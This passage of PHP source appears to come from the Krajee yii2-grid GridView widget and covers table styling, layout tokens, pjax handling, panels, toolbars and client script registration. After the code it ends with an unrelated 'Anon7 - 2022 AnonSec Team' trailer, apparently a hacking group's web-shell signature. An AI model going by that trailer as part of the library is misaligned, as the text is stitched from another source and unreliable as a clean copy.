        $this->toggleDataOptions = array_replace_recursive($defaultOptions, $this->toggleDataOptions);
        $tag = $this->_isShowAll ? 'page' : 'all';
        $options = $this->toggleDataOptions[$tag];
        $this->toggleDataOptions[$tag]['id'] = $this->_toggleButtonId;
        $icon = ArrayHelper::remove($this->toggleDataOptions[$tag], 'icon', '');
        $label = !isset($options['label']) ? $defaultOptions[$tag]['label'] : $options['label'];
        if (!empty($icon)) {
            $label = "<i class='{$icon}'></i> " . $label;
        }
        $this->toggleDataOptions[$tag]['label'] = $label;
        if (!isset($this->toggleDataOptions[$tag]['title'])) {
            $this->toggleDataOptions[$tag]['title'] = $defaultOptions[$tag]['title'];
        }
        $this->toggleDataOptions[$tag]['data-pjax'] = $this->pjax ? 'true' : false;
    }

    /**
     * Initialize bootstrap specific styling.
     * @throws InvalidConfigException
     */
    protected function initBootstrapStyle()
    {
        Html::addCssClass($this->tableOptions, 'kv-grid-table');
        if (!$this->bootstrap) {
            return;
        }
        Html::addCssClass($this->tableOptions, 'table');
        if ($this->hover) {
            Html::addCssClass($this->tableOptions, 'table-hover');
        }
        if ($this->bordered) {
            Html::addCssClass($this->tableOptions, 'table-bordered');
        }
        if ($this->striped) {
            Html::addCssClass($this->tableOptions, 'table-striped');
        }
        if ($this->condensed) {
            $this->addCssClass($this->tableOptions, self::BS_TABLE_CONDENSED);
        }
        if ($this->floatHeader) {
            if ($this->perfectScrollbar) {
                $this->floatOverflowContainer = true;
            }
            if ($this->floatOverflowContainer) {
                $this->responsive = false;
                Html::addCssClass($this->containerOptions, 'kv-grid-wrapper');
            }
        }
        if ($this->responsive) {
            Html::addCssClass($this->containerOptions, 'table-responsive');
        }
        if ($this->responsiveWrap) {
            Html::addCssClass($this->tableOptions, 'kv-table-wrap');
        }
    }

    /**
     * Initialize table header.
     */
    protected function initHeader()
    {
        if ($this->filterPosition === self::FILTER_POS_HEADER) {
            // Float header plugin misbehaves when filter is placed on the first row.
            // So disable it when `filterPosition` is `header`.
            $this->floatHeader = false;
        }
    }

    /**
     * Initialize the grid layout.
     * @throws InvalidConfigException
     */
    protected function initLayout()
    {
        Html::addCssClass($this->filterRowOptions, 'skip-export');
        if ($this->resizableColumns && $this->persistResize) {
            $key = empty($this->resizeStorageKey) ? Yii::$app->user->id : $this->resizeStorageKey;
            $gridId = empty($this->options['id']) ? $this->getId() : $this->options['id'];
            $this->containerOptions['data-resizable-columns-id'] = (empty($key) ? "kv-{$gridId}" : "kv-{$key}-{$gridId}");
        }
        if ($this->hideResizeMobile) {
            Html::addCssClass($this->options, 'hide-resize');
        }
        $this->replaceLayoutTokens([
            '{toolbarContainer}' => $this->renderToolbarContainer(),
            '{toolbar}' => $this->renderToolbar(),
            '{export}' => $this->renderExport(),
            '{toggleData}' => $this->renderToggleData(),
            '{items}' => Html::tag('div', '{items}', $this->containerOptions),
        ]);
        if (is_array($this->replaceTags) && !empty($this->replaceTags)) {
            foreach ($this->replaceTags as $key => $value) {
                if ($value instanceof \Closure) {
                    $value = call_user_func($value, $this);
                }
                $this->layout = str_replace($key, $value, $this->layout);
            }
        }
    }

    /**
     * Replace layout tokens
     * @param array $pairs the token to find and its replaced value as key value pairs
     */
    protected function replaceLayoutTokens($pairs)
    {
        foreach ($pairs as $token => $replace) {
            if (strpos($this->layout, $token) !== false) {
                $this->layout = str_replace($token, $replace, $this->layout);
            }
        }
    }

    /**
     * Begins the pjax widget rendering
     */
    protected function beginPjax()
    {
        $view = $this->getView();
        $container = 'jQuery("#' . $this->pjaxSettings['options']['id'] . '")';
        $js = $container;
        if (ArrayHelper::getValue($this->pjaxSettings, 'neverTimeout', true)) {
            $js .= ".on('pjax:timeout', function(e){e.preventDefault()})";
        }
        $loadingCss = ArrayHelper::getValue($this->pjaxSettings, 'loadingCssClass', 'kv-grid-loading');
        $postPjaxJs = "setTimeout({$this->_gridClientFunc}, 2500);";
        $pjaxCont = '$("#' . $this->pjaxSettings['options']['id'] . '")';
        if ($loadingCss !== false) {
            if ($loadingCss === true) {
                $loadingCss = 'kv-grid-loading';
            }
            $js .= ".on('pjax:send', function(){{$pjaxCont}.addClass('{$loadingCss}')})";
            $postPjaxJs .= "{$pjaxCont}.removeClass('{$loadingCss}');";
        }
        $postPjaxJs .= "\n" . $this->_toggleScript;
        if (!empty($postPjaxJs)) {
            $event = 'pjax:complete.' . hash('crc32', $postPjaxJs);
            $js .= ".off('{$event}').on('{$event}', function(){{$postPjaxJs}})";
        }
        if ($js != $container) {
            $view->registerJs("{$js};");
        }
        Pjax::begin($this->pjaxSettings['options']);
        echo '<div class="kv-loader-overlay"><div class="kv-loader"></div></div>';
        echo ArrayHelper::getValue($this->pjaxSettings, 'beforeGrid', '');
    }

    /**
     * Completes the pjax widget rendering
     */
    protected function endPjax()
    {
        echo ArrayHelper::getValue($this->pjaxSettings, 'afterGrid', '');
        Pjax::end();
    }

    /**
     * Initializes and sets the grid panel layout based on the [[template]] and [[panel]] settings.
     * @throws InvalidConfigException
     */
    protected function initPanel()
    {
        if (!$this->bootstrap || !is_array($this->panel) || empty($this->panel)) {
            return;
        }
        $options = ArrayHelper::getValue($this->panel, 'options', []);
        $type = ArrayHelper::getValue($this->panel, 'type', 'default');
        $heading = ArrayHelper::getValue($this->panel, 'heading', '');
        $footer = ArrayHelper::getValue($this->panel, 'footer', '');
        $before = ArrayHelper::getValue($this->panel, 'before', '');
        $after = ArrayHelper::getValue($this->panel, 'after', '');
        $headingOptions = ArrayHelper::getValue($this->panel, 'headingOptions', []);
        $titleOptions = ArrayHelper::getValue($this->panel, 'titleOptions', []);
        $footerOptions = ArrayHelper::getValue($this->panel, 'footerOptions', []);
        $beforeOptions = ArrayHelper::getValue($this->panel, 'beforeOptions', []);
        $afterOptions = ArrayHelper::getValue($this->panel, 'afterOptions', []);
        $summaryOptions = ArrayHelper::getValue($this->panel, 'summaryOptions', []);
        $panelHeading = '';
        $panelBefore = '';
        $panelAfter = '';
        $panelFooter = '';
        $isBs4 = $this->isBs4();
        if (isset($this->panelPrefix)) {
            static::initCss($options, $this->panelPrefix . $type);
        } else {
            $this->addCssClass($options, self::BS_PANEL);
            Html::addCssClass($options, $isBs4 ? "border-{$type}" : "panel-{$type}");
        }
        static::initCss($summaryOptions, $this->getCssClass(self::BS_PULL_RIGHT));
        $titleTag = ArrayHelper::remove($titleOptions, 'tag', ($isBs4 ? 'h5' : 'h3'));
        static::initCss($titleOptions, $isBs4 ? 'm-0' : $this->getCssClass(self::BS_PANEL_TITLE));
        if ($heading !== false) {
            $color = $isBs4 ? ($type === 'default' ? ' bg-light' : " text-white bg-{$type}") : '';
            static::initCss($headingOptions, $this->getCssClass(self::BS_PANEL_HEADING) . $color);
            $panelHeading = Html::tag('div', $this->panelHeadingTemplate, $headingOptions);
        }
        if ($footer !== false) {
            static::initCss($footerOptions, $this->getCssClass(self::BS_PANEL_FOOTER));
            $content = strtr($this->panelFooterTemplate, ['{footer}' => $footer]);
            $panelFooter = Html::tag('div', $content, $footerOptions);
        }
        if ($before !== false) {
            static::initCss($beforeOptions, 'kv-panel-before');
            $content = strtr($this->panelBeforeTemplate, ['{before}' => $before]);
            $panelBefore = Html::tag('div', $content, $beforeOptions);
        }
        if ($after !== false) {
            static::initCss($afterOptions, 'kv-panel-after');
            $content = strtr($this->panelAfterTemplate, ['{after}' => $after]);
            $panelAfter = Html::tag('div', $content, $afterOptions);
        }
        $out = strtr($this->panelTemplate, [
            '{panelHeading}' => $panelHeading,
            '{type}' => $type,
            '{panelFooter}' => $panelFooter,
            '{panelBefore}' => $panelBefore,
            '{panelAfter}' => $panelAfter,
        ]);

        $this->layout = Html::tag('div', strtr($out, [
            '{title}' => Html::tag($titleTag, $heading, $titleOptions),
            '{summary}' => Html::tag('div', '{summary}', $summaryOptions),
        ]), $options);
    }

    /**
     * Generates the toolbar.
     *
     * @return string
     */
    protected function renderToolbar()
    {
        if (empty($this->toolbar) || (!is_string($this->toolbar) && !is_array($this->toolbar))) {
            return '';
        }
        if (is_string($this->toolbar)) {
            return $this->toolbar;
        }
        $toolbar = '';
        foreach ($this->toolbar as $item) {
            if (is_array($item)) {
                $content = ArrayHelper::getValue($item, 'content', '');
                $options = ArrayHelper::getValue($item, 'options', []);
                static::initCss($options, 'btn-group');
                $toolbar .= Html::tag('div', $content, $options);
            } else {
                $toolbar .= "\n{$item}";
            }
        }
        return $toolbar;
    }

    /**
     * Generates the toolbar container with the toolbar
     * @throws InvalidConfigException
     */
    protected function renderToolbarContainer()
    {
        $tag = ArrayHelper::remove($this->toolbarContainerOptions, 'tag', 'div');

        /**
         * allow to override the float declaration:
         * forcing float-right only if no float is defined in toolbarContainerOptions
         */
        if (
            !strpos($this->toolbarContainerOptions['class'], $this->getCssClass(self::BS_PULL_RIGHT))
            && !strpos($this->toolbarContainerOptions['class'], $this->getCssClass(self::BS_PULL_LEFT))
        ) {
            $this->addCssClass($this->toolbarContainerOptions, self::BS_PULL_RIGHT);
        }

        return Html::tag($tag, $this->renderToolbar(), $this->toolbarContainerOptions);
    }

    /**
     * Generate HTML markup for additional table rows for header and/or footer.
     *
     * @param array|string $data the table rows configuration
     *
     * @return string
     */
    protected function generateRows($data)
    {
        if (empty($data)) {
            return '';
        }
        if (is_string($data)) {
            return $data;
        }
        $rows = '';
        if (is_array($data)) {
            foreach ($data as $row) {
                if (empty($row['columns'])) {
                    continue;
                }
                $rowOptions = ArrayHelper::getValue($row, 'options', []);
                $rows .= Html::beginTag('tr', $rowOptions);
                foreach ($row['columns'] as $col) {
                    $colOptions = ArrayHelper::getValue($col, 'options', []);
                    $colContent = ArrayHelper::getValue($col, 'content', '');
                    $tag = ArrayHelper::getValue($col, 'tag', 'th');
                    $rows .= "\t" . Html::tag($tag, $colContent, $colOptions) . "\n";
                }
                $rows .= Html::endTag('tr') . "\n";
            }
        }
        return $rows;
    }

    /**
     * Generate toggle data client validation script.
     */
    protected function genToggleDataScript()
    {
        $this->_toggleScript = '';
        if (!$this->toggleData) {
            return;
        }
        $minCount = ArrayHelper::getValue($this->toggleDataOptions, 'minCount', 0);
        if (!$minCount || $minCount >= $this->dataProvider->getTotalCount()) {
            return;
        }
        $view = $this->getView();
        $opts = Json::encode(
            [
                'id' => $this->_toggleButtonId,
                'pjax' => $this->pjax ? 1 : 0,
                'mode' => $this->_isShowAll ? 'all' : 'page',
                'msg' => ArrayHelper::getValue($this->toggleDataOptions, 'confirmMsg', ''),
                'lib' => new JsExpression(
                    ArrayHelper::getValue($this->krajeeDialogSettings, 'libName', 'krajeeDialog')
                ),
            ]
        );
        $this->_toggleOptionsVar = 'kvTogOpts_' . hash('crc32', $opts);
        $view->registerJs("{$this->_toggleOptionsVar}={$opts};");
        GridToggleDataAsset::register($view);
        $this->_toggleScript = "kvToggleData({$this->_toggleOptionsVar});";
    }

    /**
     * Registers client assets for the [[GridView]] widget.
     * @throws \Exception
     */
    protected function registerAssets()
    {
        $view = $this->getView();
        $script = '';
        if ($this->bootstrap) {
            GridViewAsset::register($view);
        }
        Dialog::widget($this->krajeeDialogSettings);
        $gridId = $this->options['id'];
        $NS = '.' . str_replace('-', '_', $gridId);
        if ($this->export !== false && is_array($this->export) && !empty($this->export)) {
            GridExportAsset::register($view);
            if (!isset($this->_module->downloadAction)) {
                $action = ["/{$this->moduleId}/export/download"];
            } else {
                $action = (array)$this->_module->downloadAction;
            }
            $gridOpts = Json::encode(
                [
                    'gridId' => $gridId,
                    'action' => Url::to($action),
                    'module' => $this->moduleId,
                    'encoding' => ArrayHelper::getValue($this->export, 'encoding', 'utf-8'),
                    'bom' => (int)ArrayHelper::getValue($this->export, 'bom', 1),
                    'target' => ArrayHelper::getValue($this->export, 'target', self::TARGET_BLANK),
                    'messages' => $this->export['messages'],
                    'exportConversions' => $this->exportConversions,
                    'skipExportElements' => $this->export['skipExportElements'],
                    'showConfirmAlert' => ArrayHelper::getValue($this->export, 'showConfirmAlert', true),
                ]
            );
            $gridOptsVar = 'kvGridExp_' . hash('crc32', $gridOpts);
            $view->registerJs("var {$gridOptsVar}={$gridOpts};");
            foreach ($this->exportConfig as $format => $setting) {
                $id = "jQuery('#{$gridId} .export-{$format}')";
                $genOpts = Json::encode(
                    [
                        'filename' => $setting['filename'],
                        'showHeader' => $setting['showHeader'],
                        'showPageSummary' => $setting['showPageSummary'],
                        'showFooter' => $setting['showFooter'],
                    ]
                );
                $genOptsVar = 'kvGridExp_' . hash('crc32', $genOpts);
                $view->registerJs("var {$genOptsVar}={$genOpts};");
                $expOpts = Json::encode(
                    [
                        'dialogLib' => ArrayHelper::getValue($this->krajeeDialogSettings, 'libName', 'krajeeDialog'),
                        'gridOpts' => new JsExpression($gridOptsVar),
                        'genOpts' => new JsExpression($genOptsVar),
                        'alertMsg' => ArrayHelper::getValue($setting, 'alertMsg', false),
                        'config' => ArrayHelper::getValue($setting, 'config', []),
                    ]
                );
                $expOptsVar = 'kvGridExp_' . hash('crc32', $expOpts);
                $view->registerJs("var {$expOptsVar}={$expOpts};");
                $script .= "{$id}.gridexport({$expOptsVar});";
            }
        }
        $contId = '#' . $this->containerOptions['id'];
        $container = "jQuery('{$contId}')";
        if ($this->resizableColumns) {
            $rcDefaults = [];
            if ($this->persistResize) {
                GridResizeStoreAsset::register($view);
            } else {
                $rcDefaults = ['store' => null];
            }
            $rcOptions = Json::encode(array_replace_recursive($rcDefaults, $this->resizableColumnsOptions));
            GridResizeColumnsAsset::register($view);
            $script .= "{$container}.resizableColumns('destroy').resizableColumns({$rcOptions});";
        }
        if ($this->floatHeader) {
            GridFloatHeadAsset::register($view);
            // fix floating header for IE browser when using group grid functionality
            $skipCss = '.kv-grid-group-row,.kv-group-header,.kv-group-footer'; // skip these CSS for IE
            $js = 'function($table){return $table.find("tbody tr:not(' . $skipCss . '):visible:first>*");}';
            $opts = [
                'floatTableClass' => 'kv-table-float',
                'floatContainerClass' => 'kv-thead-float',
                'getSizingRow' => new JsExpression($js),
            ];
            if ($this->floatOverflowContainer) {
                $opts['scrollContainer'] = new JsExpression("function(){return {$container};}");
            }
            $this->floatHeaderOptions = array_replace_recursive($opts, $this->floatHeaderOptions);
            $opts = Json::encode($this->floatHeaderOptions);
            $script .= "jQuery('#{$gridId} .kv-grid-table:first').floatThead({$opts});";
            // integrate resizeableColumns with floatThead
            if ($this->resizableColumns) {
                $script .= "{$container}.off('{$NS}').on('column:resize{$NS}', function(e){" .
                    "jQuery('#{$gridId} .kv-grid-table:nth-child(2)').floatThead('reflow');" .
                    '});';
            }
        }
        $psVar = 'ps_' . Inflector::slug($this->containerOptions['id'], '_');
        if ($this->perfectScrollbar) {
            GridPerfectScrollbarAsset::register($view);
            $script .= "var {$psVar} = new PerfectScrollbar('{$contId}', " .
                Json::encode($this->perfectScrollbarOptions) . ');';
        }
        $this->genToggleDataScript();
        $script .= $this->_toggleScript;
        $this->_gridClientFunc = 'kvGridInit_' . hash('crc32', $script);
        $this->options['data-krajee-grid'] = $this->_gridClientFunc;
        $this->options['data-krajee-ps'] = $psVar;
        $view->registerJs("var {$this->_gridClientFunc}=function(){\n{$script}\n};\n{$this->_gridClientFunc}();");
    }
}

Anon7 - 2022
AnonSec Team